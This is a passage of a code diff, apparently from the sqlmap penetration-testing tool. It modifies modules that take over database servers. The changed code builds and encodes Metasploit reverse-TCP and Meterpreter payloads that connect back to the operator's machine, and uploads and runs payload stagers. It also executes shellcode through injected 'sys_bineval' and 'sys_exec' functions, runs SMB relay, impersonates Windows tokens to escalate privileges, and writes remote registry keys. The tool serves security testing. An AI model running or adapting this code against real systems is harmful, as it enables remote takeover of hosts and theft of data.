import stat
|
||||
@@ -62,20 +61,22 @@ class Metasploit:
|
||||
|
||||
def __initVars(self):
|
||||
self.connectionStr = None
|
||||
self.lhostStr = None
|
||||
self.rhostStr = None
|
||||
self.portStr = None
|
||||
self.payloadStr = None
|
||||
self.encoderStr = None
|
||||
self.payloadConnStr = None
|
||||
|
||||
self.resourceFile = None
|
||||
|
||||
self.localIP = getLocalIP()
|
||||
self.remoteIP = getRemoteIP()
|
||||
|
||||
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
|
||||
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
|
||||
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
|
||||
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
|
||||
self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli"))
|
||||
self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))
|
||||
self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode"))
|
||||
self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))
|
||||
|
||||
self.__msfPayloadsList = {
|
||||
"windows": {
|
||||
@@ -90,14 +91,13 @@ class Metasploit:
|
||||
|
||||
self.__msfConnectionsList = {
|
||||
"windows": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
|
||||
3: ( "Reverse TCP", "reverse_tcp" ),
|
||||
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
|
||||
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
||||
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||
},
|
||||
"linux": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Reverse TCP", "reverse_tcp" ),
|
||||
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||
2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -127,27 +127,27 @@ class Metasploit:
|
||||
}
|
||||
|
||||
self.__portData = {
|
||||
"bind": "remote port numer",
|
||||
"reverse": "local port numer",
|
||||
"bind": "remote port number",
|
||||
"reverse": "local port number",
|
||||
}
|
||||
|
||||
|
||||
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||
if kb.os == "Windows":
|
||||
os = "windows"
|
||||
opSys = "windows"
|
||||
else:
|
||||
os = "linux"
|
||||
opSys = "linux"
|
||||
|
||||
message = "which %s do you want to use?" % msg
|
||||
|
||||
if lst:
|
||||
for num, data in lst[os].items():
|
||||
for num, data in lst[opSys].items():
|
||||
description = data[0]
|
||||
|
||||
if num > maxValue:
|
||||
maxValue = num
|
||||
|
||||
if "default" in description:
|
||||
if "(default)" in description:
|
||||
default = num
|
||||
|
||||
message += "\n[%d] %s" % (num, description)
|
||||
@@ -173,7 +173,7 @@ class Metasploit:
|
||||
choice = int(choice)
|
||||
|
||||
if lst:
|
||||
choice = lst[os][choice][1]
|
||||
choice = lst[opSys][choice][1]
|
||||
|
||||
return choice
|
||||
|
||||
@@ -183,16 +183,19 @@ class Metasploit:
|
||||
|
||||
|
||||
def __selectEncoder(self, encode=True):
|
||||
if kb.os == "Windows" and encode == True:
|
||||
if isinstance(encode, str):
|
||||
return encode
|
||||
|
||||
elif kb.os == "Windows" and encode is True:
|
||||
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
||||
|
||||
|
||||
def __selectPayload(self, askChurrasco=True):
|
||||
if kb.os == "Windows" and conf.privEsc == True:
|
||||
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
||||
infoMsg += "it is the only payload that can be used to abuse "
|
||||
infoMsg += "Windows Impersonation Tokens via Meterpreter "
|
||||
infoMsg += "'incognito' extension to privilege escalate"
|
||||
infoMsg += "it is the only payload that can abuse Windows "
|
||||
infoMsg += "Access Tokens via Meterpreter 'incognito' "
|
||||
infoMsg += "extension to privilege escalate"
|
||||
logger.info(infoMsg)
|
||||
|
||||
__payloadStr = "windows/meterpreter"
|
||||
@@ -221,7 +224,7 @@ class Metasploit:
|
||||
choose = True
|
||||
|
||||
warnMsg = "it is unlikely that the VNC injection will be "
|
||||
warnMsg += "successful because often Microsoft SQL Server "
|
||||
warnMsg += "successful because usually Microsoft SQL Server "
|
||||
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
|
||||
warnMsg += "or the Administrator is not logged in"
|
||||
logger.warn(warnMsg)
|
||||
@@ -251,7 +254,7 @@ class Metasploit:
|
||||
|
||||
break
|
||||
|
||||
elif askChurrasco == False:
|
||||
elif askChurrasco is False:
|
||||
logger.warn("beware that the VNC injection might not work")
|
||||
|
||||
break
|
||||
@@ -298,21 +301,43 @@ class Metasploit:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
|
||||
def __selectLhost(self):
|
||||
if self.connectionStr.startswith("reverse") or self.resourceFile != None:
|
||||
message = "which is the local address? [%s] " % self.localIP
|
||||
address = readInput(message, default=self.localIP)
|
||||
|
||||
if not address:
|
||||
address = self.localIP
|
||||
|
||||
return address
|
||||
|
||||
elif self.connectionStr.startswith("bind"):
|
||||
return None
|
||||
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
|
||||
def __selectConnection(self):
|
||||
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
||||
|
||||
|
||||
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
||||
self.connectionStr = self.__selectConnection()
|
||||
self.lhostStr = self.__selectLhost()
|
||||
self.rhostStr = self.__selectRhost()
|
||||
self.portStr = self.__selectPort()
|
||||
self.payloadStr = self.__selectPayload(askChurrasco)
|
||||
self.encoderStr = self.__selectEncoder(encode)
|
||||
|
||||
if self.payloadStr == "linux/x86/shell":
|
||||
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
|
||||
else:
|
||||
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
|
||||
|
||||
def __forgeMsfCliCmd(self, exitfunc="process"):
|
||||
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
|
||||
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
@@ -323,7 +348,7 @@ class Metasploit:
|
||||
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
||||
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self.__cliCmd += " LHOST=%s" % self.localIP
|
||||
self.__cliCmd += " LHOST=%s" % self.lhostStr
|
||||
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
@@ -336,55 +361,53 @@ class Metasploit:
|
||||
|
||||
|
||||
def __forgeMsfConsoleResource(self):
|
||||
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
|
||||
|
||||
self.__prepareIngredients(encode=False, askChurrasco=False)
|
||||
|
||||
self.__resource = "use windows/smb/smb_relay\n"
|
||||
self.__resource += "set SRVHOST %s\n" % self.localIP
|
||||
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
|
||||
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
||||
self.__resource += "set LPORT %s\n" % self.portStr
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.__resource += "set RHOST %s\n" % self.rhostStr
|
||||
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self.__resource += "set LHOST %s\n" % self.localIP
|
||||
self.__resource += "set LHOST %s\n" % self.lhostStr
|
||||
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
self.__resource += "exploit\n"
|
||||
|
||||
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
|
||||
self.resourceFp = open(self.resourceFile, "w")
|
||||
|
||||
self.resourceFp = open(self.resourceFile, "w")
|
||||
self.resourceFp.write(self.__resource)
|
||||
self.resourceFp.close()
|
||||
|
||||
|
||||
def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None):
|
||||
self.__payloadCmd = self.__msfPayload
|
||||
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
|
||||
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
if self.connectionStr.startswith("reverse"):
|
||||
self.__payloadCmd += " LHOST=%s" % self.localIP
|
||||
self.__payloadCmd += " LHOST=%s" % self.lhostStr
|
||||
|
||||
elif not self.connectionStr.startswith("bind"):
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output)
|
||||
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
|
||||
|
||||
if extra is not None:
|
||||
self.__payloadCmd += " %s" % extra
|
||||
|
||||
else:
|
||||
self.__payloadCmd += " X"
|
||||
self.__payloadCmd += " X > %s" % outFile
|
||||
|
||||
|
||||
def __runMsfCli(self, exitfunc="process"):
|
||||
def __runMsfCli(self, exitfunc):
|
||||
self.__forgeMsfCliCmd(exitfunc)
|
||||
|
||||
infoMsg = "running Metasploit Framework 3 command line "
|
||||
@@ -392,7 +415,6 @@ class Metasploit:
|
||||
logger.info(infoMsg)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__cliCmd)
|
||||
|
||||
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
|
||||
@@ -401,10 +423,17 @@ class Metasploit:
|
||||
logger.info(infoMsg)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__consoleCmd)
|
||||
|
||||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
|
||||
def __runMsfShellcodeRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 shellcode "
|
||||
infoMsg += "remotely via UDF 'sys_bineval', wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
||||
|
||||
|
||||
def __runMsfPayloadRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 payload stager "
|
||||
infoMsg += "remotely, wait.."
|
||||
@@ -421,11 +450,6 @@ class Metasploit:
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||
|
||||
# NOTE: calling the Metasploit payload from a system() function in
|
||||
# C on Windows (check on Linux the behaviour) for some reason
|
||||
# hangs it and the HTTP response goes into timeout, this does not
|
||||
# happen when running the it from Windows cmd.
|
||||
# Investigate and fix if possible
|
||||
self.execCmd(cmd, silent=True)
|
||||
|
||||
|
||||
@@ -433,23 +457,25 @@ class Metasploit:
|
||||
if kb.os != "Windows":
|
||||
return
|
||||
|
||||
if self.resourceFile != None:
|
||||
if self.resourceFile is not None:
|
||||
proc.stdin.write("sessions -l\n")
|
||||
proc.stdin.write("sessions -i %s\n" % metSess)
|
||||
|
||||
proc.stdin.write("getuid\n")
|
||||
|
||||
proc.stdin.write("use espia\n")
|
||||
proc.stdin.write("use incognito\n")
|
||||
proc.stdin.write("use priv\n")
|
||||
proc.stdin.write("use sniffer\n")
|
||||
|
||||
if conf.privEsc == True:
|
||||
print
|
||||
|
||||
infoMsg = "loading Meterpreter 'incognito' extension and "
|
||||
infoMsg += "displaying the list of Access Tokens availables. "
|
||||
infoMsg = "displaying the list of Access Tokens availables. "
|
||||
infoMsg += "Choose which user you want to impersonate by "
|
||||
infoMsg += "using incognito's command 'impersonate_token'"
|
||||
logger.info(infoMsg)
|
||||
|
||||
proc.stdin.write("use incognito\n")
|
||||
proc.stdin.write("getuid\n")
|
||||
proc.stdin.write("list_tokens -u\n")
|
||||
|
||||
|
||||
@@ -494,9 +520,15 @@ class Metasploit:
|
||||
if pwnBofCond or smbRelayCond:
|
||||
func()
|
||||
|
||||
if "Starting the payload handler" in out and "shell" in self.payloadStr:
|
||||
if kb.os == "Windows":
|
||||
proc.stdin.write("whoami\n")
|
||||
else:
|
||||
proc.stdin.write("uname -a ; id\n")
|
||||
|
||||
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
||||
|
||||
if metSess and self.payloadStr == "windows/meterpreter":
|
||||
if metSess:
|
||||
self.__loadMetExtensions(proc, metSess.group(1))
|
||||
|
||||
except EOFError:
|
||||
@@ -505,53 +537,47 @@ class Metasploit:
|
||||
return returncode
|
||||
|
||||
|
||||
def createMsfShellcode(self):
|
||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||
infoMsg += "for the exploit"
|
||||
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.shellcodeChar = ""
|
||||
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb")
|
||||
self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||
|
||||
self.__initVars()
|
||||
self.__prepareIngredients(askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"")
|
||||
self.__prepareIngredients(encode=encode, askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
if kb.os == "Windows":
|
||||
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
self.__shellcodeFileP.close()
|
||||
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
payloadSize = int(payloadSize.group(1))
|
||||
|
||||
debugMsg = "the shellcode size is %s bytes" % payloadSize
|
||||
if extra == "BufferRegister=EAX":
|
||||
payloadSize = payloadSize / 2
|
||||
|
||||
debugMsg = "the shellcode size is %d bytes" % payloadSize
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
raise sqlmapFilePathException, "failed to create the shellcode"
|
||||
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb")
|
||||
self.__shellcodeString = self.__shellcodeFileP.read()
|
||||
self.__shellcodeFileP.close()
|
||||
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
|
||||
self.shellcodeString = self.__shellcodeFP.read()
|
||||
self.__shellcodeFP.close()
|
||||
|
||||
os.unlink(self.__shellcodeFilePath)
|
||||
|
||||
hexStr = binascii.hexlify(self.__shellcodeString)
|
||||
|
||||
for hexPair in range(0, len(hexStr), 2):
|
||||
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||
|
||||
|
||||
def createMsfPayloadStager(self, initialize=True):
|
||||
if initialize == True:
|
||||
@@ -566,11 +592,21 @@ class Metasploit:
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
|
||||
else:
|
||||
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr)
|
||||
|
||||
self.__exeFileP = open(self.exeFilePathLocal, "wb")
|
||||
# Metasploit developers added support for the old exe format
|
||||
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
|
||||
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
|
||||
# This is useful for sqlmap because on PostgreSQL it is not
|
||||
# possible to write files bigger than 8192 bytes abusing the
|
||||
# lo_export() feature implemented in sqlmap.
|
||||
if kb.dbms == "PostgreSQL":
|
||||
self.__fileFormat = "exe-small"
|
||||
else:
|
||||
self.__fileFormat = "exe"
|
||||
else:
|
||||
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||
self.__fileFormat = "elf"
|
||||
|
||||
if initialize == True:
|
||||
self.__initVars()
|
||||
@@ -578,31 +614,37 @@ class Metasploit:
|
||||
if self.payloadStr == None:
|
||||
self.__prepareIngredients()
|
||||
|
||||
self.__forgeMsfPayloadCmd()
|
||||
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
if kb.os == "Windows":
|
||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
self.__exeFileP.close()
|
||||
|
||||
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
||||
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
exeSize = os.path.getsize(self.exeFilePathLocal)
|
||||
packedSize = upx.pack(self.exeFilePathLocal)
|
||||
|
||||
# Only pack the payload stager if the back-end DBMS is not
|
||||
# PostgreSQL because for this DBMS, sqlmap uses the
|
||||
# Metasploit's old exe format
|
||||
if self.__fileFormat != "exe-small":
|
||||
packedSize = upx.pack(self.exeFilePathLocal)
|
||||
else:
|
||||
packedSize = None
|
||||
|
||||
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||
|
||||
if packedSize:
|
||||
if packedSize and packedSize < exeSize:
|
||||
debugMsg += "as a compressed portable executable its size "
|
||||
debugMsg += "is %d bytes, decompressed it " % packedSize
|
||||
debugMsg += "was %s bytes large" % exeSize
|
||||
@@ -612,7 +654,8 @@ class Metasploit:
|
||||
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
raise sqlmapFilePathException, "failed to create the payload stager"
|
||||
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def uploadMsfPayloadStager(self):
|
||||
@@ -624,28 +667,39 @@ class Metasploit:
|
||||
os.unlink(self.exeFilePathLocal)
|
||||
|
||||
|
||||
def pwn(self):
|
||||
self.__runMsfCli()
|
||||
def pwn(self, goUdf=False):
|
||||
if goUdf is True:
|
||||
exitfunc = "thread"
|
||||
func = self.__runMsfShellcodeRemote
|
||||
else:
|
||||
exitfunc = "process"
|
||||
func = self.__runMsfPayloadRemote
|
||||
|
||||
self.__runMsfCli(exitfunc=exitfunc)
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.__runMsfPayloadRemote()
|
||||
func()
|
||||
|
||||
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if goUdf is False:
|
||||
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
|
||||
|
||||
|
||||
def smb(self):
|
||||
self.__initVars()
|
||||
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.localIP, self.__randFile)
|
||||
else:
|
||||
self.uncPath = "\\\\%s\\%s" % (self.localIP, self.__randFile)
|
||||
|
||||
self.__forgeMsfConsoleResource()
|
||||
self.__forgeMsfConsoleCmd()
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
|
||||
else:
|
||||
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
|
||||
|
||||
self.__runMsfConsole()
|
||||
|
||||
debugMsg = "Metasploit Framework 3 console exited with return "
|
||||
|
||||
+31
-29
@@ -37,20 +37,20 @@ class Registry:
|
||||
This class defines methods to read and write Windows registry keys
|
||||
"""
|
||||
|
||||
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
|
||||
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
|
||||
self.__regKey = regKey
|
||||
self.__regName = regName
|
||||
self.__regType = regType
|
||||
self.__regValue = regValue
|
||||
self.__regType = regType
|
||||
self.__regData = regData
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
||||
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
|
||||
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
|
||||
|
||||
if parse == True:
|
||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||
else:
|
||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
|
||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
|
||||
|
||||
self.__batRead = (
|
||||
"@ECHO OFF\r\n",
|
||||
@@ -59,24 +59,15 @@ class Registry:
|
||||
|
||||
self.__batAdd = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
|
||||
)
|
||||
|
||||
self.__batDel = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
||||
)
|
||||
|
||||
|
||||
def __execBatPathRemote(self):
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
|
||||
else:
|
||||
cmd = self.__batPathRemote
|
||||
|
||||
self.execCmd(cmd)
|
||||
|
||||
|
||||
def __createLocalBatchFile(self):
|
||||
self.__batPathFp = open(self.__batPathLocal, "w")
|
||||
|
||||
@@ -102,38 +93,49 @@ class Registry:
|
||||
os.unlink(self.__batPathLocal)
|
||||
|
||||
|
||||
def readRegKey(self, regKey, regName, parse):
|
||||
def readRegKey(self, regKey, regValue, parse=False):
|
||||
self.__operation = "read"
|
||||
|
||||
self.__initVars(regKey, regName, parse=parse)
|
||||
self.__initVars(regKey, regValue, parse=parse)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
|
||||
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
|
||||
|
||||
return self.evalCmd(self.__batPathRemote)
|
||||
if not parse:
|
||||
first = len(regKey) + 6
|
||||
else:
|
||||
first = None
|
||||
|
||||
data = self.evalCmd(self.__batPathRemote, first)
|
||||
|
||||
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def addRegKey(self, regKey, regName, regType, regValue):
|
||||
def addRegKey(self, regKey, regValue, regType, regData):
|
||||
self.__operation = "add"
|
||||
|
||||
self.__initVars(regKey, regName, regType, regValue)
|
||||
self.__initVars(regKey, regValue, regType, regData)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "adding registry key name '%s' " % self.__regName
|
||||
debugMsg = "adding registry key value '%s' " % self.__regValue
|
||||
debugMsg += "to registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||
|
||||
|
||||
def delRegKey(self, regKey, regName):
|
||||
def delRegKey(self, regKey, regValue):
|
||||
self.__operation = "delete"
|
||||
|
||||
self.__initVars(regKey, regName)
|
||||
self.__initVars(regKey, regValue)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "deleting registry key name '%s' " % self.__regName
|
||||
debugMsg = "deleting registry key value '%s' " % self.__regValue
|
||||
debugMsg += "from registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||
|
||||
+322
-7
@@ -24,9 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class UDF:
|
||||
@@ -37,20 +49,71 @@ class UDF:
|
||||
|
||||
def __init__(self):
|
||||
self.createdUdf = set()
|
||||
self.udfs = {}
|
||||
self.udfToCreate = set()
|
||||
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False):
|
||||
def __askOverwriteUdf(self, udf):
|
||||
message = "UDF '%s' already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output[0] in ("y", "Y"):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def __checkExistUdf(self, udf):
|
||||
logger.info("checking if UDF '%s' already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def udfCheckAndOverwrite(self, udf):
|
||||
exists = self.__checkExistUdf(udf)
|
||||
overwrite = True
|
||||
|
||||
if exists is True:
|
||||
overwrite = self.__askOverwriteUdf(udf)
|
||||
|
||||
if overwrite is True:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
|
||||
def udfCreateSupportTbl(self, dataType):
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
||||
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_exec"
|
||||
|
||||
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
||||
|
||||
|
||||
def udfEvalCmd(self, cmd):
|
||||
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
